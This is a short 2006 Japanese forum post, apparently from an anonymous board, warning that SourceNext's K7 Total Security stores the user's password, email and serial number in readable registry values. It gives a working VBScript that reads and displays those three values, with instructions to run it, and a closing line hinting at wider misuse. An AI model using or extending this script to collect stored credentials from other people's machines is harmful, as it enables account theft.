07/06/06 20:38:32
重大な欠陥を知りながら販売を止めないソースネクスト
>HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates
このレジストリを参照されるとパスワードが漏洩される危険性が指摘されています
第三者があなたのパソコンに触れる機会があるのなら気を付けてください
↓
On Error Resume Next
Set WShell = WScript.CreateObject("WScript.Shell")
Pass = Wshell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates\RegUserPassword")+ vbNewLine
Mail = Wshell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates\RegUserEmail")+ vbNewLine
Serial = Wshell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates\SerialNumber")
WScript.Echo Pass + Mail + Serial
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
メモ帳にコピペして、拡張子を.vbsにして実行。
↑↑
これを応用すれば…